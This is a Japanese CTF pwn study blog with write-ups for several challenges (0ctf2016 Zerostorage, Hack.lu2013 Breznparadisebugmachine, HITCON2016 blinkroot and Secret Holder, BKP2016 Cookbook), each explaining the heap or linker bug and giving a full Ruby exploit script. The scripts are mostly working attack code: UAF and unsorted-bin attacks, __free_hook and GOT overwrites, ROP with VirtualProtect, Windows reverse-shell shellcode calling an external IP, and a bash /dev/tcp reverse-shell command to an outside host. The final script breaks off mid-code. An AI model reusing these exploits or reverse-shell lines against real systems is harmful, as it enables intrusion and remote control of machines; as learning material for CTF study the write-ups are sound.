Pwn De Ring

初心者がPwnを勉強していくために使っている標準出力先です。

0ctf2016 Zerostorage (pwn6)

github.com

日本語writeupないので,もしかしたら貴重かも?参考文献にあるwriteupが何やってるかわからなからないコードが多いので,exploitのコメントはがんばって書いてみた.

下調べ

  • Full RELRO, Canary, Nx, PIE
  • x86_64, stripped, dynamically linked
  • libc配布済み

厳しいバイナリ

解析

メモ管理系のバイナリで,以下のようなentry(自分で名前つけた)構造体を大域変数の配列entriesとしてもっている.

struct entry {
  int flag;
  int length;
  int *ptr; 
};

ptrメンバには,長さが0x80以下であればそのまま,それ以上であればその値を引数に取ってcallocを呼び,/dev/urandomの乱数でxorをした後にptrに格納する.利用する際には,毎回xorで復号している.

  1. Insert
    • 長さを入力して,その分だけデータを入力できる.
    • 上記のようにcallocを使ってメモリ確保
  2. Update
    • idを入力し,entry[id]が存在すれば長さを入力して,その分だけデータを入力できる.
    • 長さが以前より大きい場合はreallocが呼ばれる
  3. Merge(脆弱性)
    • 2つのid(to, from)を入力して,fromのデータをtoのデータのあとにmemcpyして,fromのentryのflagやlengthに0を代入する
    • fromのptrをfreeする   * 新しいentryにtoのptrや足し合わせた長さなどを代入する.
    • 同じidを入れた場合,fromのptrを解放した後に,新しいentryにtoのptrもとい同じptrを代入することになる(UAF)
  4. Delete
    • 入力したidのentryを消す.freeが呼ばれる.
  5. View
    • 入力したidのデータが見れる.
    • entry[id]のlength分writeする.
  6. List
    • リスト表示するだけ
  7. Exit
    • 終わり

Exploit

攻略の上で重要なのはMergeにおけるUAFである.これを用いることで,異なるentryから,free済みのchunkをいじれることになる.通常chunkのdata部分をユーザが触ることになるので,free済みの場合はmalloc_chunkのfdやbkを書き換えすることが可能になる.mchunk_sizeが小さくfastbinとして扱えるchunkであればすぐにfastbin unlink attackを行うことができるのだが,今回のchunkは最低0x80となっており,解放してもfastbinに入ることはない.
では,fastbinに入らないchunkはどうなるのかというと,unsortedbinという双方向なリストに繋がることになる.このリストにあるchunkはその後,smallbinやlargebinに振り分けられることになる.今回は,このunsortedbinを用いた攻撃手法のunsorted bin attackを使ってみる.
大雑把に説明すると,unsortedbinのbkメンバを書き換えることで,書き換えたアドレスを大きな値に書き換えることができるようになるという攻撃手法である.今回はUAFを用いてこのunsortedbin->bkを書き換える.では,どこを書き換えるのが良いだろうか. 結論から言うと,今回はlibc内の大域変数であるglobal_max_fastという値を書き換える.
malloc関数の内部で呼ばれる_int_malloc関数では,要求サイズをchecked_request2sizeで少しいじってあげて,その値を以下の条件分で比較し,真の場合はfastbinsからchunkを利用するという処理が行われる.

if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))

このget_max_fast()は以下のように定義されており,大域変数global_max_fastを返すだけのマクロになっている.

#define get_max_fast() global_max_fast

このglobal_max_fast自体は,malloc_init_state関数の内部でset_max_fastマクロを使ってDEFAULT_MXFASTという値を設定している.(DEFAULT_MXFASTは,x86なら0x40, x64なら0x80) つまり,gloabl_max_fastを大きな値にしてしまえば,chunkが大きくてもfastbinsに入れることが出来るということになる.そうすれば簡単にfastbins unlink attackに持ち込むことができる.
これらをするには,ヒープやlibcのアドレスをリークする必要がある.これに関してはViewでデータもとい解放済みのchunkを表示することで,unsortedbinのfdとbkが出力されるこになり,初期だとヒープベース,&main_arena->topになっているため簡単にリークできる.
fastbins unlink attackにより書き換えが可能になった後は,entryのptrを偽装してあげれば,Updateの際に偽装したアドレスに値を書き込むことが可能になる.そのためにはアドレスとKeyでXORした結果を格納しなくてはいけないので,Viewのリークを使って,Keyもリークさせる必要があるが,XORなのでentry[id]のptrと実際のentries[id]の2つでXORすればKeyは求まるため.事前にPIEのベースアドレスなども算出しておく.
これらを使って,書き換えを行う先としては,通常ならGOTとかを書き換えてしまえば楽なのだが,今回はFull RELROなのでこの方針はだめで,__free_hookを書き換えるようにする.

void
__libc_free (void *mem)
{
  mstate ar_ptr;
  mchunkptr p;                          /* chunk corresponding to mem */

  void (*hook) (void *, const void *)
    = atomic_forced_read (__free_hook); // __free_hookを読み取る
  if (__builtin_expect (hook != NULL, 0))
    {
      (*hook)(mem, RETURN_ADDRESS (0)); // 関数ポインタ実行
      return;
    }

これはfree関数が呼ばれた時に実行される関数ポインタになっており,libc内のbssセクションにあるためFull RELROの制約を受けない上に,free(p)が__free_hook(p)となるので,chunkのデータ領域に引数を設定しておけば書き換えた関数へ楽に渡すことができる.
長くなったが,以下にexploitを示す.

#!/usr/bin/env ruby
# coding: ascii-8bit
require 'pwnlib'

host = 'localhost'
port = 8888

def menu(t)
  t.recv_until(": ")
end

def insert(t, length, text)
  puts "insert"
  t.sendline("1")
  t.recv_until(": ")
  t.sendline(length.to_s)
  t.recv_until(": ")
  t.send(text)
  menu(t)
end

def update(t, idx, length, text)
  puts "update"
  t.sendline("2")
  t.recv_until(": ")
  t.sendline(idx.to_s)
  t.recv_until(": ")
  t.sendline(length.to_s)
  t.recv_until(": ")
  t.send(text)
  t.recv_until("\n")
  menu(t)
end

def merge(t, from_idx, to_idx)
  puts "merge"
  t.sendline("3")
  t.recv_until(": ")
  t.sendline(from_idx.to_s)
  t.recv_until(": ")
  t.sendline(to_idx.to_s)
  t.recv_until("\n")
  menu(t)
end

def delete(t, idx)
  puts "delete"
  t.sendline("4")
  t.recv_until(": ")
  t.sendline(idx.to_s)
  t.recv_until("\n")
  menu(t)
end

def view(t, idx)
  puts "view"
  t.sendline("5")
  t.recv_until(": ")
  t.sendline(idx.to_s)
  no = t.recv_until(":\n")
  text = t.recv_until("\n")
  [no, text]
end

PwnTube.open(host, port) do |t|

  offset_top = 3925944
  offset_pie = 6201344 # pie_baseとlibc_base間のオフセット
  offset_gloabl_max_fast = 3935040

  menu(t)
  
  # 解放予定chunk(delete)
  insert(t, 8, "WillFree") # 0

  # 対consolidate(UAF1) & system関数の引数用
  insert(t, 8, "/bin/sh\x00") # 0, 1

  # 解放予定chunk(merge)
  insert(t, 8, "WillFree") # 0, 1, 2

  # 対consolidate(UAF1)
  insert(t, 8, "GOMIGOMI") # 0, 1, 2, 3

  # 対consolidate(UAF2)
  insert(t, 8, "GOMIGOMI") # 0, 1, 2, 3, 4

  # fastbins unlink attackのときにentries[5]を利用
  # entries[5]をmalloc_chunkとして捉えた時以下のようになる
  # entries[5].flag   -> mchunk_prev_size
  # entries[5].length -> mchunk_size
  # entries[5].ptr    -> fd
  # 後にcallocする際にサイズチェックされるので
  # そのchunkのサイズと同じlengthにしておく
  insert(t, 0x90, "G" * 0x90) # 0, 1, 2, 3, 4, 5

  delete(t, 0)                # 1, 2, 3, 4, 5

  # UAF1
  # entries[2].ptrがunsortedbinに入る
  # unsortedbin->fd => heap_base
  # unsortedbin->bk => &main_arena->top
  merge(t, 2, 2)              # 0, 1, 3, 4, 5
  
  # entries[0]経由で,UAF発生
  heap_base, top = u64(view(t, 0)[1])
  libc_base       = top - offset_top
  global_max_fast = libc_base + offset_gloabl_max_fast
  pie_base        = libc_base + offset_pie
  global_entries  = pie_base + 0x203060
  #global_entries  = 0x555555554000 + 0x203060
  libc_free_hook  = libc_base + 0x3c0a10
  libc_system     = libc_base + 0x46590
  
  puts "pie_base 0x%x" % pie_base
  puts "entries 0x%x" % global_entries
  puts "heap base 0x%x" % heap_base
  puts "libc base 0x%x" % libc_base
  puts "libc_free_hook 0x%x" % libc_free_hook
  puts "libc_system 0x%x" % libc_system

  # unsortedbinに繋がっていたchunkがcallocで返される
  insert(t, 8, "GOMIGOMI") # 0, 1, 2, 3, 4, 5
  
  # unsortedbin->bk = gloabl_max_fast - 0x10
  update(t, 0, 16, "GOMIGOMI" + p64(global_max_fast - 0x10))
  insert(t, 8, "GOMIGOMI") # 0, 1, 2, 3, 4, 5, 6
  
  # UAF2
  merge(t, 4, 4) # 0, 1, 2, 3, 5, 6, 7

  # UAF2を利用してentries[7]経由でentries[4].ptrのfdを
  # &entries[5]に書き換え
  update(t, 7, 8, p64(global_entries + 5 * 24))
  
  # unlink
  insert(t, 8, "GOMIGOMI") # 0, 1, 2, 3, 4, 5, 6, 7

  # callocが&entries[5].ptrを返す
  # 24 = sizeof(struct entry)
  # entries[8].length = 24 * 3 + 8
  # entries[8].ptr = &entries[5]
  insert(t, 24 * 3 + 8, "G" * (24 * 3 + 8)) # 0, 1, 2, 3, 4, 5, 6, 7, 8

  # entries[5].ptrから24 * 3 + 8 分write
  # entires[8].ptrまでがleakする
  # KeyとXORされた&entries[5]が分かる
  leak = u64(view(t, 8)[1])[9]
  key = leak ^ (global_entries + 5 * 24 + 16)
  puts "[+] key 0x%x" % key

  # 8byte paddingを入れればentries[6]になる
  payload = "GOMIGOMI"                 # entries[5].ptr
  payload << p64(1)                    # entries[6].flag
  payload << p64(0x8)                  # entries[6].length
  payload << p64(key ^ libc_free_hook) # entries[6].ptr
  update(t, 8, payload.length , payload)

  # free_hookをsystemに書き換え
  update(t, 6, 8, p64(libc_system))

  # entries[1]を削除
  # free_hook起動
  t.sendline("4")
  t.recv_until(": ")
  t.sendline("1")

  t.shell
end

以下が実行結果である.これは自分のlibcだが,配布libcでもオフセットさえ変えればシェルを取ることができた. f:id:encry1024:20170303102912p:plain

感想

久しぶりにmalloc.cを読み返したりしながら,unsorted周りとかを見直すことができ,House of Forceの記事などで呼んだときよりも精確にfastbins周りのことについても学ぶことができたし,global_max_fastを書き換えて全部fastbinsにしちゃうという超絶テクも学ぶことができて楽しい問題だった.__free_hookに関しても実際に使ったことはなかったので良い経験になった.
そんなことは正直,今はどうでもよくて午後に本日公開のアサシンクリードの映画を見に行くので,めちゃくちゃ楽しみという気持ちと午後に成績発表があり胃が痛いという気持ち.

参考文献

Hack.lu2013 Breznparadisebugmachine (pwn500)

katagaitai CTF勉強会#8関東|medの午後問題として扱われた問題.WindowsのPwn問題ということで新鮮で面白かった.exploitコード自体は勉強会スライドとなんら変わりはないので,特に面白くはないと思うが,せっかく参加したので記事にしておく.

環境準備

  • ホストMacBookPro
    • Hopper, Ruby
    • こいつからexploitをゲストに向かって投げる
  • ゲストWindows Server2012無印
    • x86dbg, rp++, その他Windowsバイナリ解析に便利なツール
    • Windows Firewallを無効化
  • リバースシェル用の外部サーバ
    • ポート番号5555でlisten

下調べ

Windowsのセキュリティ機構もLinuxとほぼ変わらず,Linux用語を用いると以下のセキュリティ機構が付いている.
ASLR, PIE, RELRO, NXbit
またC++バイナリで,vector(STL), threadなどが使われていたりする.

解析

オーブンに入れて,プレッツェルなど3種類(Brezel, Laugenstangerl, Semmel)を焼いたり,ロボットに任せたりできるシステム.食べ物をオーブンに入れる際には,オーブンの番号や焼く時間,メモなどを格納することができる.また取り出す処理や,オーブンに入っている食べ物のAAを表示したりいろいろ機能が豊富で解析範囲が広い.ユーザーとのやりとりをするスレッド以外に,ロボットに任せる処理ではスレッドを新しく作り処理を行っている.
脆弱性としては,AAを表示する際に,ユーザの指定した種類のものでAAを表示する形式になっているので,小さいサイズが入っているオーブンに対して,大きいAAサイズを選択すると大幅にleakが発生する.さらに,SemmelだけInsertするときに後ろの方にヒープのポインタが保存されるので,これをリークするといろいろ便利. 他にもスレッド2の方では,UAFのバグが存在する(ここが分からずに当日を迎えた).

Exploit

大まかには,leakを使って,ヒープやバイナリのアドレスを求めて,ヒープベースやバイナリベースを算出後,UAFを使って,Editでvtableを上書きして,stack pivotして,ROPでmprotectに相当するVirtualProtectで実行権限を付与してあげて,シェルコードを実行させる方針. 以下にexploitを示す.

#!/usr/bin/env ruby
# coding: ascii-8bit
require 'pwnlib'


host = '10.211.55.18'
port = 27015

if(ARGV[0] == 'r')
  host = 'ctf.fluxfingers.net'
  port = 1340
end

B, L, S = 0, 1, 2
ON, OFF = 0, 1

# $ nc -l 55555
lhost = "10.211.55.2"
lhost = "150.95.129.191" if(ARGV[0] == 'r')
lport = 55555

puts "[+] listen 150.95.129.191:55555"
puts `nslookup alicemacs.com`.split("answer:\n")[1]

# https://gist.github.com/Charo-IT/70bca3ee57eac4b0d167614ac5f23406
sc = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50" +
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" +
"\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7" +
"\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78" +
"\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3" +
"\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01" +
"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58" +
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3" +
"\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a" +
"\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32" +
"\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff" +
"\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b" +
"\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f" +
"\xdf\xe0\xff\xd5\x97\x6a\x05\x68#{lhost.split(".").map{|a| a.to_i.chr}.join}\x68\x02" +
"\x00#{[lport].pack("S>")}\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74\x61" +
"\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0\xb5" +
"\xa2\x56\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57" +
"\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01" +
"\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46" +
"\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89" +
"\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb" +
"\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c" +
"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53" +
"\xff\xd5"

def countdown(t)
  t.times do |i|
    print i
    print "."
    sleep(1)
  end
  puts ""
end

def menu(t)
  t.recv_until("[8] Quit\n\n")
end

def insert(t, type, time, slot, text)
  puts "Insert #{slot}"
  t.sendline("0")
  t.recv_until("[2] Semmel\n\n")
  t.sendline(type.to_s)
  t.recv_until(": \n\n")
  t.sendline(time.to_s)
  t.recv_until(": \n\n")
  t.sendline(slot.to_s)
  t.recv_until(": \n\n")
  t.sendline(text)
  menu(t)
end

def remove(t, slot)
  puts "Remove #{slot}"
  t.sendline("1")
  t.recv_until(":\n\n")
  t.sendline(slot.to_s)
  menu(t)
end

def info(t, type, slot)
  puts "Info #{slot}"
  t.sendline("2")
  t.recv_until(":\n\n")
  t.sendline(slot.to_s)
  t.recv_until("[2] Semmel\n\n")
  t.sendline(type.to_s)
  menu(t)
end

def edit(t, slot, text)
  puts "Edit #{slot}"
  t.sendline("3")
  t.recv_until(":\n\n")
  t.sendline(slot.to_s)
  t.recv_until(":\n\n")
  t.sendline(text.to_s)
  menu(t)
end

def robot(t, cond)
  if cond == ON
    puts "Robot on"
  elsif cond == OFF
    puts "Robot off"
  else
    raise "conditon error in robot"
  end
  t.sendline("4")
  t.recv_until("\n\n")
  t.sendline(cond.to_s)
  menu(t)
end

def oven(t, cond)
  if cond == ON
    puts "Oven on"
    t.sendline("5")
  elsif cond == OFF
    puts "Oven off"
    t.sendline("6")
  else
    raise "conditon error in oven"
  end
  
  menu(t)
end


PwnTube.open(host, port) do |t|

  heap_offset = 0x37c8
  
  insert(t, S, 30, 0, "GOMI")
  insert(t, S, 30, 1, "GOMI")
  insert(t, L, 30, 2, "LEAK")
  
  r = info(t, L, 1).split("\n\x00")[1]
  
  heap = u32(r[158...162])[0]
  heap_base = heap - heap_offset

  # for remote
  unless heap_base & 0xfff == 0
    heap_base += 0x1000 - (heap_base & 0xfff)
  end
  vtable = u32(r[174...178])[0]
  bin_base = vtable - 0x10f70
  
  puts "heap 0x%x" % heap
  puts "heap_base 0x%x" % heap_base
  puts "vtable 0x%x" %  vtable
  puts "bin_base 0x%x" % bin_base

  insert(t, B, 30, 3, "FOOD")
  insert(t, B, 3, 4, "VICT")
  oven(t, ON)
  countdown(15)
  oven(t, OFF)
  robot(t, ON)
  countdown(5)
  robot(t, OFF)
  remove(t, 3)

  food = "AAAA" * 2
  food << p32(bin_base + 0x1b24) # stack pivot
  food << p32(bin_base + 0x104b) # ret2ret
  food << "AAAA" * 3
  food << p32(bin_base + 0xc877) # pop eax
  food << p32(bin_base + 0xe008) # VirtualProtect@.idata
  food << p32(bin_base + 0x76b9) # jmp [eax]
  food << p32(heap + 0x67c)      # ret addr -> Shellcode
  food << p32(heap_base)         # arg1 -> lpAddress
  food << p32(0x5000)            # arg2 -> dwSize
  food << p32(0x40)              # arg3 -> flNewProtect(RWX)
  food << p32(heap_base)         # arg4 -> lpflOldprotect
  food << sc
  food = food.ljust(0x230)       # padding
  victim = p32(heap + 0x648)     # vtable pointer
  victim = victim.ljust(0x400)   # padding

  edit(t, 2, food + victim)

  oven(t, ON)
  
  t.interactive
  
end

外部のサーバでは,$ sudo nc -l 55555で待ち受けて,上記のexploitを実行する.
Hack.luはサーバを今もなお稼働中なので本番サーバで試した結果が以下である.ローカルでもシェルを取ることはできた.

f:id:encry1024:20170227205518p:plain

感想

Windows問はコスパが悪いが,ここぞという時に解けるとデカイという意見に同じで,やっておいて損は無かったと思うし,何より解析したり,Exploitを書くために検証したりするのが楽しかった.問題自体の脆弱性発見パートで詰んだ勢で,UAFが苦手だとわかったので,Linuxの方でもUAFはちゃんと気付けるよう精進したい.

HITCON CTF2016 Quals blinkroot (pwn 200)

katagaitai CTF勉強会#8関東|medの午前問題として扱われた問題.いわゆるdl-resolve解法について学べる問題.午前午後共に詳しくはスライドを見れば乗っているので,割愛する.とりわけスライド通りのexploitで面白くないと思う.

下調べ

  • Canary, NXが有効
  • libcが配布

解析

バイナリ自体は小さくて,盛大にオーバーフローしてripは簡単に奪うことができる.さらに任意のところへの値書き込みも行うことができる.また,ファイルディスクリプターの0,1,2はcloseされてしまう.

Exploit

linkmapを偽装してあげる.そのためにdynstrやdynsymセクションなど必要なものをいい具合に指すように配置する.読み込み後に呼ばれるのはputs関数なので,puts関数を読んだ際に,system関数が呼ばれるようにしてあげると入力値もうまく書き換えた関数に渡すことができて良い.
もう一点考慮すべきは,標準入出力等がcloseされてしまうので,bashの機能を使って/dev/tcp/host/portの形でリバースシェルを貼る.正直ここらへんのbashの機能とかを精確に把握しているわけではないので一回ぐらいはちゃんと確認したほうがいいなという気持ちになった. 以下にexploitを示す.

require 'pwnlib'

offset_system = 0x45390
offset_read   = 0xf6670

if ARGV[0] == "r"
  offset_system = 0x46590
  offset_read   = 0xeb6a0
end

=begin
.got.plt
0x600b40 -> dynamic section address 
0x600b48 -> link_map address -> 0x600bd0
0x600b50 -> _dl_runtime_resolve GOT
_dl_runtime_resolve(link_map, reloc_arg)
=end

# for local
#CMD = ";bash -c 'bash -i >& /dev/tcp/127.0.0.1/12345 0>&1'"
# for remote
CMD = ";bash -c 'bash -i >& /dev/tcp/150.95.129.191/12345 0>&1'"

gotplt_addr   = 0x600b40
buf_addr      = 0x600bc0
data_addr     = 0x600B90
fake_linkmap  = 0x600bd0
symtab_addr   = fake_linkmap + 0x100
reloc_addr    = fake_linkmap + 0x140
strtab_addr   = fake_linkmap + 0x180
reloc_arg     = 1 
offset_system = offset_system - offset_read

linkmap = ""
linkmap << p64(offset_system) # l_addr 
linkmap << CMD.ljust(0x60, "\x00")
linkmap << p64(strtab_addr)   # strtab -> 0x6009e8 + 8 -> .dynstr
linkmap << p64(symtab_addr)   # symtab -> 0x6009f8 + 8 -> .dynsym
linkmap << p64(0) * 16
linkmap << p64(reloc_addr)    # reloc  -> 0x600a68 + 8 -> .rela.plt

reloc = ""
reloc << p64(0)
reloc << p64(reloc_addr + 0x18 - reloc_arg * 0x18)
reloc << p64(0)
reloc << p64(data_addr - offset_system)
reloc << p64(7)
reloc = reloc.ljust(0x40, "\x00")

symtab = ""
symtab << p64(0)
symtab << p64(0x600b70)
symtab << p64(0)
symtab = symtab.ljust(0x40, "\x00")

payload = p64(gotplt_addr - buf_addr) 
payload << p64(fake_linkmap)
payload << linkmap + symtab + reloc
payload = payload.ljust(1024, "\x00")
print payload

実行結果は取り忘れたが,katagaitaiCTF勉強会当日にシェルは取れた.

感想

dl-resolve自体は今までも複数回使ってきたがlinkmapの偽装は初めてだったので勉強になった.ただもっと,linkmapの構造体の定義とかそこら辺周りをしっかり見直さないと実践で使えるほどは身につかないと感じた.

HITCON CTF2016 Quals Secret Holder (pwn 100)

Pwncampでやった問題 其の壱(になる予定だったが実質終えたのはこれしかない) 実力不足だからか100点に思えなかった.

下調べ

  • 64bit, dnyamically link, stripped
  • Partial RELRO, No PIE
  • libcはわかってることにした

解析

主に以下の3つのコマンドが存在する.

  1. 3種類あるサイズから選んで1つmallocする
  2. 3種類あるサイズから選んで1つfreeする
  3. 3種類あるサイズから選んで1つ適切なサイズ分readする

(※サイズは,Smallが0x40, Bigが0x4000, Hugeが0x400000となっている.) それぞれのサイズで管理用大域変数があり,それで二回連続のmallocができないようになっている.

glibcmallocでは閾値以上のサイズのmallocをするとヒープ領域とは違うところにマッピングされるのだが,そこを解放し,再度mallocするとヒープ領域に確保されるという仕組みがある.今回でいえば,Hugeのmallocがこれに該当する.
また,mallocの戻り値を格納する大域変数はfree後にNULLにしていないところ,freeの際には管理用大域変数を見て判断していない点などからUAFに持ち込むことができる.

Exploit

UAFを用いてunsafe unlink attackにまずはもっていく.small用のヒープのアドレスがはいる大域変数より下にはbigやhugeのもあるので,small用のヒープのアドレスがはいるところをunlink attackで,small用のヒープが入る大域変数より小さいアドレスとかにできれば,readの処理の際にOverflowさせて,bigやhugeの指す先をGOTなどに書き換えることができる.そうすれば,bigやhugeに対しても同様にread操作を行うことでGOT Overwriteが可能となる.

以下にexploitを示す.

#!/usr/bin/env ruby
# coding: utf-8
require 'pwnlib'

host = 'localhost'
port = 8888

def keep(t, id, msg)
  t.recv_until("Renew secret")
  t.sendline("1")
  t.recv_until("Huge secret")
  t.sendline(id.to_s)
  t.recv_until(": \n")
  t.sendline(msg)
end

def wipe(t, id)
  t.recv_until("Renew secret")
  t.sendline("2")
  t.recv_until("Huge secret")
  t.sendline(id.to_s)
end

def renew(t, id, msg)
  t.recv_until("Renew secret")
  t.sendline("3")
  t.recv_until("Huge secret")
  t.sendline(id.to_s)
  t.recv_until(": \n")
  t.send(msg)
end

PwnTube.open(host, port) do |t|

  small_ptr = 0x6020b0

  keep(t, 3, "")
  wipe(t, 3)
  keep(t, 1, "")
  wipe(t, 1)
  keep(t, 3, "") # huge == small
  wipe(t, 1)
  
  # P->fd->bk = P->bk
  # P->bk->fd = P->fd

  # small
  payload = "\x00" * 16
  payload << p64(small_ptr - 0x18) # fd
  payload << p64(small_ptr - 0x10) # bk

  # big
  payload << p64(0x20)
  payload << p64(0xfb0)
  payload << "\n"
  
  keep(t, 1, "")
  keep(t, 2, "")
  renew(t, 3, payload)
  wipe(t, 2) # small_ptr -> small_ptr - 0x18(big,huge,smallのポインタよりも8byte前)

  payload = "\x00" * 8     # padding
  payload << p64(0x602030) # memset@got -> read a lot
  payload << p64(0)
  payload << p64(0x602028) # __stack_chk_fail@got -> ret
  payload << p32(1) * 3

  renew(t, 1, payload + "\n")
  renew(t, 1, p64(0x400691)) # ret
  STDIN.gets
  renew(t, 2, p64(0x4009f9)) # read a lot

  pop_rdi = 0x400e03

  payload = "\x00" * 24
  payload <<  p64(pop_rdi)
  payload << p64(0x602048) # __libc_start_main@got
  payload << p64(0x4006c0) # puts@plt
  payload << p64(0x400cc2) # main

  t.recv_until("Renew secret\n")
  t.sendline(payload)

  libc_start_leak = t.recv(6).ljust(8, "\x00").unpack("Q")[0]
  libc_base = libc_start_leak - 0x20740
  libc_system = libc_base + 0x45390
  libc_binsh  = libc_base + 0x18c177
  
  payload = "\x00" * 24
  payload << p64(pop_rdi)
  payload << p64(libc_binsh)
  payload << p64(libc_system)

  t.recv_until("Renew secret\n")
  t.sendline(payload)

  t.shell
  
end

以下が結果である. f:id:encry1024:20170218112143p:plain

感想

閾値以上のサイズのmallocの戻り値をヒープ領域にするのは偶然見つけたのだが,free後にNULLが入っていないという基本的なことに気づかず,そこからの進展がなくて,writeupに頼った.久しぶりだったせいもあり,unlink attackがあいまいにしか理解してないことに気づいた.もうちょっと自分なりに復習して,しっかり理解しないといけないなぁという気分になった.

参考文献

https://gist.github.com/inaz2/732487ee170be9d8d2adf9cb50fe8d35

HITCON CTF Quals 2016 Writeup (Secret Holder & Babyheap) - ShiftCrops つれづれなる備忘録

CTFひとり勉強会 Secret Holder (HITCON 2016 Quals) 前編 - ヾノ*>ㅅ<)ノシ帳

Bosten Key Party2016 Cookbook (pwn6)

BKPが近いということで,前年度の問題を復習してみた.本問題は以前まとめた

pwn.hatenadiary.jp

Houes of Forceを使って解くことが出来る問題である.私自身,この一回しかHouse of Forceを使ったことがないので良い練習問題になり,久しぶりに全部自力で解くことができた.

下調べ

vagrant@vagrant-ubuntu-trusty ~/c/B/Cookbook> file cookbook                                                                                           ASLR: ON
cookbook: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=2397d3d3c3b98131022ddd98f30e702bd4b88230, stripped
vagrant@vagrant-ubuntu-trusty ~/c/B/Cookbook> checksec --file cookbook                                                                                ASLR: ON
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH  FORTIFY Fortified Fortifiable  FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   Yes 0       3   cookbook

libc配布

問題としてはまぁまぁなバイナリ

解析

vagrant@vagrant-ubuntu-trusty ~/c/B/Cookbook> ./cookbook                                                                                              ASLR: ON
what's your name?
Chihiro
+-----------------------------+
|          .--,--.            |
|          `.  ,.'            |
|           |___|             |
|           :o o:             |
|          _`~^~'             |
|        /'   ^   `\          |
| cooking manager pro v6.1... |
+-----------------------------+
====================
[l]ist ingredients
[r]ecipe book
[a]dd ingredient
[c]reate recipe
[e]xterminate ingredient
[d]elete recipe
[g]ive your cookbook a name!
[R]emove cookbook name
[q]uit
a
====================
[l]ist current stats?
[n]ew ingredient?
[c]ontinue editing ingredient?
[d]iscard current ingredient?
[g]ive name to ingredient?
[p]rice ingredient?
[s]et calories?
[q]uit (doesn't save)?
[e]xport saving changes (doesn't quit)?

バイナリ自体は上記のようにいろんなコマンドで動きがあり,生ぬるい問題と違ってほぼ全部実装されているため解析だけで6時間ぐらいかかってしまった.実際に解析する人のために手助けとなる情報としては,片方向リストで,材料,レシピの二つが管理されており,リストへのaddListやdeleteList,serachList的な関数があり多く見える.また,ほとんどのfgetsが使われているところではNULL終端されるようになっている. 問題文にもtop chefとあるようにHouse of Forceを伺わせる問題であり,その観点での解析から得られることを以下にまとめた.

  • e -> a -> n -> lでmain_arena+48とヒープ領域のアドレスがリーク
  • c -> n -> gでHeapOverflowを発生
  • g では,mallocで確保するサイズをユーザで決められる(負数OK)

Exploit

前述の記事も参考にしていただきたいが,House of Forceを行うためには以下の3つの条件が必要だと考えている.

  1. top chunkのアドレスが求められる
  2. top chunkのサイズを-1などのunsignedで大きな値に書き換えられる
  3. mallocに負数を渡せる

これら3つの条件は解析パートの最後を見るとすべて満たしていることがわかる. 今回は,strtoul@gotを__libc_systemに書き換えて/bin/shを入力してシェルを起動させる方針を取った.その際,House of Forceではtop chunkのアドレスを固定するので,固定後のmallocで返ってくるのは、top chunk + 8なので(malloc_chunk構造体の管理部分を考慮),top chunkが、strtoul@gotの8byte前のputs@gotのアドレスになるように考えると以下の計算式より要求サイズが求まる.

要求サイズ = puts@got - 現在のtop - 8

したがって、この要求サイズをmallocで呼ぶことで,戻り値のアドレスをstrtoul@gotに固定でき、後続するfgetsで、そこに入力することができ、GOT overwriteが可能となる.

これらのこと踏まえて作成したexploitを以下に示す.途中mallocやcallocでSEGVが起きてしまってうまく行かなかった流れがあったので,余計な処理を挟んでいるが,正直なぜこれでうまくいくかわからないので誰か教えて欲しい.

#!/usr/bin/env ruby
# coding: ascii-8bit
require 'pwnlib'

host = 'localhost'
port = 8888

def heap_leak(t)
  t.recv_until("[q]uit\n")
  t.sendline("e")
  t.recv_until("exterminate? ")
  t.sendline("olive oil")
  t.recv_until("[q]uit\n")
  t.sendline("a")
  t.recv_until("quit)?")
  t.sendline("n")
  t.recv_until("quit)?")
  t.sendline("l")
  t.recv_until("calories: ")
  main_arena = t.recv_until("\n").to_i + 2**32
  offset_main_arena = 0x1ab420
  $libc_base = main_arena - offset_main_arena - 48
  t.recv_until("price: ")
  $heap_base = t.recv_until("\n").to_i - 2504
  t.recv_until("quit)?")
  t.sendline("d")
  t.recv_until("quit)?")
  t.sendline("q")
end

PwnTube.open(host, port) do |t|

  t.recv_until("name?\n")
  t.sendline("Chihiro")
  
  t.recv_until("[q]uit\n")
  t.sendline("c")
  
  t.recv_until("[q]uit\n")
  t.sendline("n")

  t.recv_until("[q]uit\n")
  t.sendline("q")

  heap_leak(t)
  top_chunk   = $heap_base + 0x16b8
  libc_system = $libc_base + 0x40310

  puts "heap base   0xx" % $heap_base
  puts "top chunk   0xx" % top_chunk
